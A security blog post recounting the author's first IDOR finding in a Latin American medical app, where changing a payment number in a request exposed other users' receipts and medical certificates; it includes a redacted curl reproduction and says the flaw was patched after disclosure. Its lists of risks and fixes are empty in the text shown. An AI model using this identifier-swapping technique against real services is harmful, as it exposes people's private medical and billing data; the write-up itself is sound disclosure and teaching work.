My First IDOR: One Number, Two Apps

2023-03-24InfosecMobile

  • android
  • pentest
  • idor

I did not find my first IDOR by throwing a scanner at a target. I found it by watching a mobile app talk.

The target was a medical app from Latam. The company and identifying details are intentionally redacted, but the bug was real, the data was sensitive, and the lesson was simple: sometimes one predictable number is enough to cross a tenant boundary.

The issue was patched after disclosure.

The Bug

The app exposed payment receipts through a direct object reference. By changing the NumPago value in a request, an authenticated user could retrieve receipts that did not belong to them.

That is the core of an IDOR: the backend trusts an object identifier from the client, but does not verify that the current user is allowed to access that object.

In this case, the exposed documents included billing information, medical certificates, and payment receipts. The impact was worse because the same backend appeared to serve more than one branded application, which meant the same authorization flaw could expose data across both apps.

How I Found It

The first step was getting visibility.

The app used certificate pinning, so I had to bypass SSL pinning before Burp Suite could show me the traffic. I wrote the setup notes separately in Burp on Android.

Once I could inspect requests, the receipt flow stood out. The client sent a JSON body with a single payment number:

Endpoint:

POST https://******/P****/r****t/P******o?fmt=json

Body:

{ 
	"NumPago": "8341713" 
}

Changing that value returned a different receipt. No ownership check blocked it.

Reproducing It

The request below is redacted, but the important part is the NumPago value in the body. With a valid session, changing that identifier was enough to request another document.

curl -i -s -k -X $'POST' \
    -H $'Host: ******' -H $'Authorization: Bearer a5a8bf******48' -H $'Genexus-Language: Spanish' -H $'Genexus-Theme: ******' -H $'Genexus-Agent: SmartDevice Application' -H $'Accept-Language: es-US,es' -H $'Gxtzoffset: America/Argentina/Buenos_Aires' -H $'Deviceosname: Android' -H $'Deviceosversion: 9' -H $'Deviceid: 4807e343-0ec6-38c0-a38b-e885476d6f75' -H $'Devicename: samsung - SM-J701M' -H $'Deviceplatform: Android Phone' -H $'Devicetype: 1' -H $'Gxappversioncode: 44000.000' -H $'Gxappversionname: 4.4.0' -H $'Gxapplicationid: ******' -H $'Content-Type: application/json; charset=utf-8' -H $'Content-Length: 21' -H $'Accept-Encoding: gzip, deflate' -H $'User-Agent: okhttp/4.9.2' -H $'Connection: close' \
    -b $'BIGipServerpool-preprod-portal=3261245632.20480.0000; GX_CLIENT_ID=ed26c06b-8504-4ab1-9ef5-d04c76c59edd; JSESSIONID=CB2C0C5003CFF5AE2EEC55A4A80CA3FD; TS0130a800=012e9e8...5df9af; Set-Cookie=JSESSIONID%3DF8E4...663a608b4bc1ca61442e70922' \
    --data-binary $'{\"NumPago\":\"8341713\"}' \
    $'https://******/P****/r****t/P******o?fmt=json'

The server responded with a PDF URL:

{   
  "ErrorMsg":"",
  "ErrorTit":"",
  "UrlPDF":"https://******/1Hora/8****0a3e419.pdf"
}

At that point the issue was confirmed: the backend was returning an object selected by client-controlled input without validating authorization.

Impact

I treated this as critical because the exposed documents were not just generic purchase receipts. They could contain medical and billing context tied to real users.

The risky pattern was:

Fixes

The fix is not to hide the identifier. The fix is to enforce authorization on every object access.

Recommended controls:

Takeaway

This was my first IDOR, and it changed how I look at mobile traffic.

The interesting part was not the bypass. It was the trust boundary. Once the app asked the server for NumPago, the real question was not “can I change this number?” The real question was “what does the backend prove before it answers?”

In this case, not enough.